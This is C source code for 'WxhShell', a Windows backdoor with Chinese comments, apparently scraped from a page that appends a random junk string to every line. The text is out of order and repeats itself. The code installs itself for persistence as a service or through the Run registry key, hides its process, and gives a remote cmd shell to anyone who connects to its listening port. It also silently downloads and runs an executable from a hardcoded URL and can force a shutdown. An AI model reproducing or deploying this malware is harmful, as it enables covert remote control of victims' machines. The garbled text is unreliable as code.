    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9q!Upr_+  
    else { |"eC0u  
    closesocket(wsh); r8o^8.  
    ExitThread(0); OgCNq W d-  
    } aZo>3z;  
    break; 0P;LH3sx  
    } DYgz;Y/%l  
  // 获取shell >;fn,9w  
  case 's': { r[2*K 9  
    CmdShell(wsh); sAF="uB  
    closesocket(wsh); F-D$Y?m  
    ExitThread(0); RXO5p d  
    break; veS) j?4  
  } Lu4>C2{  
  // 退出 $3eoZ1q'U-  
  case 'x': { VpED9l]y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c/Li,9cT'  
    CloseIt(wsh); Zk31|dL  
    break; 1I8<6pi-  
    } WkPT6d  
  // 离开 ._&SS,I5VZ  
  case 'q': { ++=jh6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rq|]KAN  
    closesocket(wsh); y%<CkgZS  
    WSACleanup(); NA#,q 8  
    exit(1); ZRFHs>0  
    break; 1_M}Dc+J  
        } "Sw raq  
  } =pnQ?2Og  
  } Qzv&  
" #w%sG^_  
  // 提示信息 @r\{iSg&g.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [|(=15;  
} hsYv=Tw3C  
  } O! _d5r&,  
D|'[[=  
  return; FRayB VHL  
} bE3mOml  
9H+Q/Q*-a  
// shell模块句柄 3L{)Y`P  
int CmdShell(SOCKET sock) EWOa2^%}Z\  
{ U+!&~C^y  
STARTUPINFO si; V$dhiP z  
ZeroMemory(&si,sizeof(si)); x_wWe>0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B_XX)y%V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (,cG+3r ]  
PROCESS_INFORMATION ProcessInfo; `X<a(5[vV3  
char cmdline[]="cmd"; F#.ph?W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r^ABu_u(`I  
  return 0; |AS<I4+&  
} v3<q_J'qT  
^Ww5@  
// 自身启动模式 g1Osd7\o  
int StartFromService(void) D/hq~- g  
{ wNmC1HOh  
typedef struct _7dp(R  
{ %N0m$*  
  DWORD ExitStatus; dAy\IfZX=  
  DWORD PebBaseAddress; E5Sn mxd  
  DWORD AffinityMask; p+y"r4   
  DWORD BasePriority; FW{K[km^P  
  ULONG UniqueProcessId; d$Y_vX<  
  ULONG InheritedFromUniqueProcessId; @ 'U`a4  
}   PROCESS_BASIC_INFORMATION; Sf@xP.d  
U=5~]0g  
PROCNTQSIP NtQueryInformationProcess; 8]rObT9>  
VCvf'$4(X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s^Xs*T@~h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t]?{"O1rC  
]bYmM@  
  HANDLE             hProcess; g1(5QWb  
  PROCESS_BASIC_INFORMATION pbi; ):y^g:  
f>3)}9?xc}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n^*,JL 9@  
  if(NULL == hInst ) return 0; oA@c.%&  
pWP1$;8   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .i^ @v<+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >7~,w1t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ngI+afo   
"<^n@=g'q  
  if (!NtQueryInformationProcess) return 0; 7xYz9r)w`  
)g }G{9M^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h0I5zQZm  
  if(!hProcess) return 0; "yj_v\@4  
eC L_c>3!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $RUK<JN$6  
!YZKa-  
  CloseHandle(hProcess); Z'Pe%}3  
#rNc+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UT[{NltH  
if(hProcess==NULL) return 0; $xcZ{C  
{L [   
HMODULE hMod; {JF"PAS7  
char procName[255]; 'yV*eG?^&  
unsigned long cbNeeded; 34nfL: y  
5fYWuc9}z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }w-M .  
1GB]Yi[>  
  CloseHandle(hProcess); 16 \)C/*  
Q>cEG"  
if(strstr(procName,"services")) return 1; // 以服务启动 $: |`DCC  
GSd:Plc%  
  return 0; // 注册表启动 1b2  
} i ^2A:6}?  
|f!J-H)  
// 主模块 8si{|*;hL  
int StartWxhshell(LPSTR lpCmdLine) C ,|9VH  
{ H4j1yD(d  
  SOCKET wsl; '2|P-/jU  
BOOL val=TRUE; N Z ,}v3  
  int port=0; q8FpJ\  
  struct sockaddr_in door; gsl_aW!  
#,1z=/d.  
  if(wscfg.ws_autoins) Install(); 6a_U[-a9;  
KWAd~8,mk  
port=atoi(lpCmdLine); ]yL+lv  
=1'WZp}D5  
if(port<=0) port=wscfg.ws_port; bf {_U%`  
,np|KoG|M  
  WSADATA data; 5FF28C)>/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V>GJO(9  
w{So(AF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q1rEUbvCE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NL;sn"  
  door.sin_family = AF_INET; `H$=hr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Q J  
  door.sin_port = htons(port); zufsmY4P  
h.KgHMV`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lNtxM"G&  
closesocket(wsl); 1i_%1Oip  
return 1; 3la`S$c  
} a|.IAxJ  
Q"GM3?  
  if(listen(wsl,2) == INVALID_SOCKET) { F`2h,i-9  
closesocket(wsl); ^u1Nbo  
return 1;  Fq5u%S  
} SJc~E$5<  
  Wxhshell(wsl); vqO#Z  
  WSACleanup(); 2oRwDg&7|  
PAtv#)h  
return 0; lSO$Q]!9  
E)f9`][  
} OLm@-I*  
.Dl ?a>I  
// 以NT服务方式启动 '}B"071)<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MI^$df  
{ "PO8Q  
DWORD   status = 0; AI#.+PrC{/  
  DWORD   specificError = 0xfffffff; H$ g*  
1#Hr{&2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !E_|Zp]up  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qSG0TWD!pq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IYXN}M.=  
  serviceStatus.dwWin32ExitCode     = 0; ;aX?K/  
  serviceStatus.dwServiceSpecificExitCode = 0; \%.oi@A  
  serviceStatus.dwCheckPoint       = 0; jYFmL_{  
  serviceStatus.dwWaitHint       = 0; t u{~:Z(  
?!/8~'xA6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3 H5  
  if (hServiceStatusHandle==0) return; _)!*,\*`{  
QjG/H0*mP  
status = GetLastError(); D %)L "5C  
  if (status!=NO_ERROR) " zD9R4\X.  
{ SK^(7Ws~0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R8eBIJ/@_  
    serviceStatus.dwCheckPoint       = 0; Dq$1 j%4Y  
    serviceStatus.dwWaitHint       = 0; _>kc:  
    serviceStatus.dwWin32ExitCode     = status; g,M-[o=Fk  
    serviceStatus.dwServiceSpecificExitCode = specificError; d;wq@ e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @xa$two  
    return; $Cfp1#  
  } |YyNqwP`,  
:yJ([  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z f<T`'_d  
  serviceStatus.dwCheckPoint       = 0; % XZ&(  
  serviceStatus.dwWaitHint       = 0; 9+s&|XS*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0)~c)B:5  
} 92A9gY  
C4.GtY8,d  
// 处理NT服务事件,比如:启动、停止 2;s[m3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JoiGuZd>  
{ ]&q<O0^'  
switch(fdwControl) \4G9YK-N>  
{ (l-= /6-  
case SERVICE_CONTROL_STOP: Zl3e=sg=  
  serviceStatus.dwWin32ExitCode = 0; |3!)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ha=2isq  
  serviceStatus.dwCheckPoint   = 0; 2ww H3}  
  serviceStatus.dwWaitHint     = 0; ryh"/lu[B  
  { oVn&L*H   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eA-oqolY  
  } nK?S2/o#A  
  return; C~@m6K  
case SERVICE_CONTROL_PAUSE: |Rkw/5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K/f-9hE F  
  break; 5|K[WvG@Co  
case SERVICE_CONTROL_CONTINUE: YW/V}C'>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U4K ZPk  
  break; Cb+$|Kg/"b  
case SERVICE_CONTROL_INTERROGATE: "0#(<zb|  
  break; !bYVLFp=\_  
}; Ry]9n.y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QSa#}vCp*  
} R2-F@_  
3 e1-w$z&S  
// 标准应用程序主函数 {j]cL !Od  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 43M.Hj]  
{ bo\Ah/.  
Q*PcO\Y!y  
// 获取操作系统版本 I#O"<0 *r  
OsIsNt=GetOsVer(); SE^l`.U@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3x+=7Mg9  
83/m^^F{]  
  // 从命令行安装 _u$DcA8B  
  if(strpbrk(lpCmdLine,"iI")) Install(); LDHu10l  
u^{p' a'  
  // 下载执行文件 l/zv >  
if(wscfg.ws_downexe) { Xnjl {`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M57<e`m  
  WinExec(wscfg.ws_filenam,SW_HIDE); !o_eK\p  
} ly[d V.<P  
Aixe?A_x  
if(!OsIsNt) { 3I~.'>Pd  
// 如果时win9x,隐藏进程并且设置为注册表启动 (Q% @]  
HideProc(); *P`wuXn}  
StartWxhshell(lpCmdLine); :"!Z9l\@  
} K&NH?  
else ;)CN=J!  
  if(StartFromService()) 1 @t.J>  
  // 以服务方式启动 ki@C}T5  
  StartServiceCtrlDispatcher(DispatchTable); H8 ? Y{H  
else ui#nN   
  // 普通方式启动 .Hqq!&  
  StartWxhshell(lpCmdLine); 5= &2=  
kG!hqj  
return 0; xlwf @XW  
} T:{r*zLSN  
F9K0  
(P-^ PNz&  
'hBnV xd&  
=========================================== !JrKTB%  
a<r,LE  
ez[x8M>  
{O y|c  
t7x<=rW7u  
a}FyJp  
" JP6 Noia  
SQ2v  
#include <stdio.h> mKO~`Wq%@  
#include <string.h> [5p9p1@u{C  
#include <windows.h> j0{`7n  
#include <winsock2.h> H2: Zda#  
#include <winsvc.h> -;_"Y]#  
#include <urlmon.h> AJ*17w  
dB4ifeT]  
#pragma comment (lib, "Ws2_32.lib") h>GbJ/^  
#pragma comment (lib, "urlmon.lib") K\U`gTGc  
]j/= x2p  
#define MAX_USER   100 // 最大客户端连接数 eQ/w Mr  
#define BUF_SOCK   200 // sock buffer U; m@  
#define KEY_BUFF   255 // 输入 buffer GyQFR?  
^"?a)KC  
#define REBOOT     0   // 重启 q%kCTw  
#define SHUTDOWN   1   // 关机 >_yL@^  
kGAgXtE  
#define DEF_PORT   5000 // 监听端口 <H60rON  
Z!|r>  
#define REG_LEN     16   // 注册表键长度 `Pj7:[."[  
#define SVC_LEN     80   // NT服务名长度 =Vs?=|r  
i:jXh9+  
// 从dll定义API f]%S FQ+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *'8q?R?7g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v%*don  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O[MFp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ma*#*4  
A ~vx,|I  
// wxhshell配置信息 z3S"1L7  
struct WSCFG { 9;7"S.7AV  
  int ws_port;         // 监听端口 _dk[k@5W{'  
  char ws_passstr[REG_LEN]; // 口令 sd%)g<t  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ij4q &i"  
  char ws_regname[REG_LEN]; // 注册表键名 q6-o!>dLQ  
  char ws_svcname[REG_LEN]; // 服务名 8/)\nV$0Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \[[xyd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5"57F88Y1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >uYQt ~s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l]zQSXip  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |-S!)iG1V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fw-Rv'\  
nrev!h  
}; #b428-  
y$-@|M$GG  
// default Wxhshell configuration Psx"[2iZm  
struct WSCFG wscfg={DEF_PORT, NCi~. I  
    "xuhuanlingzhe", >&+V[srfD  
    1, LBD],Ba!  
    "Wxhshell", Jb*QlsGd  
    "Wxhshell", qdpi-*2  
            "WxhShell Service", 3)W_^6>bM  
    "Wrsky Windows CmdShell Service", HJg&fkHn1  
    "Please Input Your Password: ", |^5"-3Q  
  1, F5x*#/af  
  "http://www.wrsky.com/wxhshell.exe", C=&n1/  
  "Wxhshell.exe" NYHK>u/5c  
    }; P A ZjA0d  
g4,ldr"D  
// 消息定义模块 $-UVN0=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .E^w, o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 80Hi v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ELnUpmv\  
char *msg_ws_ext="\n\rExit."; O(%6/r`L,k  
char *msg_ws_end="\n\rQuit."; /Q7q2Ne^*  
char *msg_ws_boot="\n\rReboot..."; tc`3-goX  
char *msg_ws_poff="\n\rShutdown..."; cd1-2-4U  
char *msg_ws_down="\n\rSave to "; , 2#Q >  
D['J4B  
char *msg_ws_err="\n\rErr!"; e{87n>+,  
char *msg_ws_ok="\n\rOK!"; T\p>wiY2|F  
`!N}u  
char ExeFile[MAX_PATH]; ? Pi|`W   
int nUser = 0; 5%9Uh'y#  
HANDLE handles[MAX_USER]; &Cj~D$kDEu  
int OsIsNt; V]J"v#!{  
D<FQVdP  
SERVICE_STATUS       serviceStatus; WynTU?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .F@Lx45  
en{p<]H  
// 函数声明 `qmwAT  
int Install(void); 9[VYd '  
int Uninstall(void); %>+lr%B  
int DownloadFile(char *sURL, SOCKET wsh); '"7b;%EN'  
int Boot(int flag); c3l(,5DtH  
void HideProc(void); &uE )Vr4R  
int GetOsVer(void); )!rD&l$tE  
int Wxhshell(SOCKET wsl); u{=h%d/  
void TalkWithClient(void *cs); \,/ozfJ7dT  
int CmdShell(SOCKET sock); S)zw[m  
int StartFromService(void); T=pP  
int StartWxhshell(LPSTR lpCmdLine); p<dw  C"z  
X1P1 $RdkR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m[y~-n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t*Ro2QZ  
Jgr;'U$  
// 数据结构和表定义 8iD7K@  
SERVICE_TABLE_ENTRY DispatchTable[] = P]^8Enp  
{ |7,$.MK-@  
{wscfg.ws_svcname, NTServiceMain}, V+1c<LwT  
{NULL, NULL} p@Os  
}; sx+k V A  
UGM:'xa<T  
// 自我安装 LEnv/t6U  
int Install(void) -tWxB GSa@  
{ 9HN&M*}  
  char svExeFile[MAX_PATH]; Ag:/iB ]  
  HKEY key; ] g9SUFM  
  strcpy(svExeFile,ExeFile); J_&cI%.  
qOpwl*?x+  
// 如果是win9x系统,修改注册表设为自启动 }vB{6E+h/w  
if(!OsIsNt) { 8Wtr,%82  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aDz% %%:r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 34)l3UI~  
  RegCloseKey(key); pK{G2]OK{U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @~$=96^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^=-25%&^  
  RegCloseKey(key); ho^c#>81  
  return 0; U<XfO'XJ  
    } qrOesSdc  
  } "S{GjOlEDF  
} E 8W*^^z(  
else { h-Ks:pcR  
!T)_(}|6}  
// 如果是NT以上系统,安装为系统服务  K\ pZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SI6?b1;-:F  
if (schSCManager!=0) :G9d,B7*  
{ Gz\wmH&rVz  
  SC_HANDLE schService = CreateService Ls|)SiXrY  
  ( r#ADxqkaV  
  schSCManager, UDk H'x$=  
  wscfg.ws_svcname, +('xzW  
  wscfg.ws_svcdisp, OS L~a_  
  SERVICE_ALL_ACCESS, Y~( 8<`^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2" v{  
  SERVICE_AUTO_START, IwbV+mWQ  
  SERVICE_ERROR_NORMAL, Vfq-H/+  
  svExeFile, 3M[d6@a  
  NULL, SJ8 ~:"\P  
  NULL, CIwI1VR^  
  NULL,  W>x.*K  
  NULL, u[wDOw  
  NULL ) cOBP}j+  
  ); HuA4eJ(2  
  if (schService!=0) ==KDr 0|G  
  { <Z1m9O "sy  
  CloseServiceHandle(schService); 6I]{cm   
  CloseServiceHandle(schSCManager); (S=CxK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [e|9%[.V  
  strcat(svExeFile,wscfg.ws_svcname); +r"fv*g"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GIkVU6Q}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SrMfd7H8f  
  RegCloseKey(key); b9Eb"  
  return 0; 0eA |Uq~  
    } sA"B/C|(g  
  } =':SOO7  
  CloseServiceHandle(schSCManager); 4Dd]:2|D  
} FYg{IKg  
} /5>A 2y  
|mw3v>  
return 1; 8js1m55KT  
} y]k{u\2A  
JVx-4?  
// 自我卸载 (3m^@2i  
int Uninstall(void) JAmpU^(C  
{  </Dv?  
  HKEY key; kf' 4C "}  
0}>p)k3&A  
if(!OsIsNt) { 2tp95E`(O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *2m{i:3  
  RegDeleteValue(key,wscfg.ws_regname); #("E) P  
  RegCloseKey(key); 5G#2#Al(F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *@ S+J$  
  RegDeleteValue(key,wscfg.ws_regname); 2) Q/cH\g  
  RegCloseKey(key); Qyj:!-o  
  return 0; 0bQ"s*K  
  } @7?L+.r$9  
} nG| NRp  
} |)ALJJ=+  
else { 3qp\jh=FE  
^7`gf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T' )l  
if (schSCManager!=0) -zm-|6[Wi  
{ #.@D}7y5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t8#u}u  
  if (schService!=0) +=L^h9F  
  { <)oW  
  if(DeleteService(schService)!=0) { m8* )@e  
  CloseServiceHandle(schService); N<HJ}geC "  
  CloseServiceHandle(schSCManager); 7  nawnS  
  return 0; @PKY>58)  
  } A9y3B^\*  
  CloseServiceHandle(schService); (;nh?"5  
  } ?$H=n{iW  
  CloseServiceHandle(schSCManager); J}VG4}L  
} ]n4G]ybK%  
} 5mI}IS|@  
5&Le?-/\  
return 1; >Cglhsb:N  
} Fau24-g  
MB?762 Q  
// 从指定url下载文件 lM%3 ?~?Q&  
int DownloadFile(char *sURL, SOCKET wsh) KN\tRE  
{ T5TA kEVl  
  HRESULT hr; +78cQqDY!  
char seps[]= "/"; =?1B|hdo  
char *token; ";w"dfC^  
char *file; (5=B^9{R  
char myURL[MAX_PATH]; {= T9_c  
char myFILE[MAX_PATH]; 843O}v'  
P?`a{sl.  
strcpy(myURL,sURL); 'iEu1! t\0  
  token=strtok(myURL,seps); 7MwS[N%#  
  while(token!=NULL) qZh}gu*>  
  { PCiwQ4~  
    file=token; ^" UZ.@sq'  
  token=strtok(NULL,seps); rIAbr5CG  
  } zHQSx7Ow 5  
a`;nB E  
GetCurrentDirectory(MAX_PATH,myFILE); >B+!fi'SS>  
strcat(myFILE, "\\"); p']oy;t  
strcat(myFILE, file); *skmTioj&  
  send(wsh,myFILE,strlen(myFILE),0); QWAtF@qTV  
send(wsh,"...",3,0); )SWLX\b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,uCgC4EP  
  if(hr==S_OK) j4]y(AA  
return 0; 9 EV.![  
else N|  
return 1; a/lTQj]A  
%bgUU|CdA  
} Kr@6m80E5  
=$F<Ac;&  
// 系统电源模块 8@d@T V!n&  
int Boot(int flag) 2X@"#wIg  
{ Hie  
  HANDLE hToken; ?!$:I8T  
  TOKEN_PRIVILEGES tkp; sH+ 90|?  
Ws:MbZyr  
  if(OsIsNt) { G9r~O#=gy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 18G=j@k7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RfzYoBN  
    tkp.PrivilegeCount = 1; e4Q2$ Q@b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yuq2)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )PjU=@$lI  
if(flag==REBOOT) { .CBb%onx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s7 3'h  
  return 0; em?Q4t  
} jF0>w  m  
else { c4(og|ifk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D` 2w>{Y  
  return 0; -5#cfi4^*  
} wYN/ }>M  
  } 3?bTs =  
  else { 4* V[^mht  
if(flag==REBOOT) { o'|B|oZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6=g! Hs{  
  return 0; @ 3,:G$,  
} #7p!xf^  
else { E{{Kz r2$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i@#=Rxp  
  return 0; =&roL7ps  
} ibh,d.*~g  
} ]Yk)A.y  
jAy 0k  
return 1; dnCurWjdk  
} .g!K| c  
ZFRKzPc {V  
// win9x进程隐藏模块 80 ckh  
void HideProc(void) cSYMnB  
{ 5 N:IH@  
$Ahe Vps@@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "43F.!P  
  if ( hKernel != NULL ) N%!{n7`N:  
  { w L4P-4'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q0VR&b`?>D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _~O*V&  
    FreeLibrary(hKernel); c[a^fu!  
  } r>B|JPm  
R0YWe  
return; nt$q< 57  
} *g[MGyF "  
v:]z-zU  
// 获取操作系统版本 R$i-%3  
int GetOsVer(void) a6\`r^@  
{ Y]bS=*q  
  OSVERSIONINFO winfo; z8cefD9F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1C(sBU"  
  GetVersionEx(&winfo); jGe%'A N\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) . Ky)Co  
  return 1; L5r02VzbD  
  else %a']TX  
  return 0; /h9v'Y}c  
} k5)a|  
_fS4a134R  
// 客户端句柄模块 2 ])e}& i  
int Wxhshell(SOCKET wsl) Sm;@MI<@/  
{ 8^sh@j2L  
  SOCKET wsh; 17-B'Gl!<%  
  struct sockaddr_in client; ; *\xdg{d  
  DWORD myID; y% O^Zm1  
;.=]Ar}  
  while(nUser<MAX_USER) n 0g8B  
{ 7M Qh,J!"  
  int nSize=sizeof(client); z `jLKPP!=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f4$sH/ 2#v  
  if(wsh==INVALID_SOCKET) return 1; R5&<\RI0  
kLc@U~M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R]3j6\  
if(handles[nUser]==0) Yz#E0aTTA  
  closesocket(wsh); _ Y7 Um  
else g)7@EU2  
  nUser++; X0]{8v%  
  } ~ +h4i'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wg,7k9I  
pfHfw,[  
  return 0; n;wViw  
} Q" r y@ (I  
wHh6y?g\  
// 关闭 socket n'[>h0  
void CloseIt(SOCKET wsh) 6sG5 n7E-A  
{ &hih p"  
closesocket(wsh); m|3 Q'  
nUser--; 88l1g,`**  
ExitThread(0); u;+8Jg+xH/  
} RAWzQE }  
i|m8#*Hd  
// 客户端请求句柄 2#/23(Wc  
void TalkWithClient(void *cs) #x`K4f)  
{ kU,g=+ 2J  
29cx(  
  SOCKET wsh=(SOCKET)cs; ?TJ4L/"(k6  
  char pwd[SVC_LEN]; r+k&W  
  char cmd[KEY_BUFF]; 'x5p ?m  
char chr[1]; *W;;L_V"   
int i,j; &j,# 5f(  
q;*'V9#  
  while (nUser < MAX_USER) { bM.$D-?dF*  
e=3C*+lq\  
if(wscfg.ws_passstr) { +\$c_9|C+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hV:++g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AN3oh1xe:  
  //ZeroMemory(pwd,KEY_BUFF); R+z'6&/ =I  
      i=0; O p1TsRm5L  
  while(i<SVC_LEN) { TU': Rt  
'#SZ|Rr6tX  
  // 设置超时 maeQ'Sv_&  
  fd_set FdRead; rT\~VJ>+i  
  struct timeval TimeOut; 'n=bQ"bQu  
  FD_ZERO(&FdRead); fef y`J  
  FD_SET(wsh,&FdRead); Bh'!aipk  
  TimeOut.tv_sec=8; 1rs.  
  TimeOut.tv_usec=0; oUO3,2bn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~`="tzr:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M?DZShkV_  
h(R7y@mp\0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bDudETl  
  pwd=chr[0]; Bex;!1  
  if(chr[0]==0xd || chr[0]==0xa) { dm]g:KWg  
  pwd=0; RN|Bk  
  break; u})*6l.  
  } mln4Vl(l2M  
  i++; WrcmC$ff  
    }  + K`.ck  
 JZ+6)R  
  // 如果是非法用户,关闭 socket #Hz9@H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'CSjj@3X  
} _iCrQJ0"T  
m5&Ht (I%n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X)6G :cD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l0;u$  
,i|K} Y&  
while(1) { ^/$dSXKF  
Y652&{>q  
  ZeroMemory(cmd,KEY_BUFF); ITg:OOQ  
,A $IFE  
      // 自动支持客户端 telnet标准   (F 9P1Iq  
  j=0; rsa_)iBC  
  while(j<KEY_BUFF) { U;IGV~oT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $MGKGWx@E  
  cmd[j]=chr[0]; ,X1M!'  
  if(chr[0]==0xa || chr[0]==0xd) { (X-( WMsqQ  
  cmd[j]=0; ]f?r@U'AS|  
  break; 7 )[2Ud8  
  } uF1 4;  
  j++; UJQTArf  
    } "" >Yw/'  
. AOc$Nt  
  // 下载文件 9C2pGfEbn}  
  if(strstr(cmd,"http://")) { EpKZ.lCU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #d3_7rI0V  
  if(DownloadFile(cmd,wsh)) V=p"1!(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -s!J3DB  
  else D\+x/r?-I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4H;7GNu  
  } gK;dfrU.8Y  
  else { ezbk@no  
-,YI>!  
    switch(cmd[0]) { DBHHJD/q  
  QI U%!9Y  
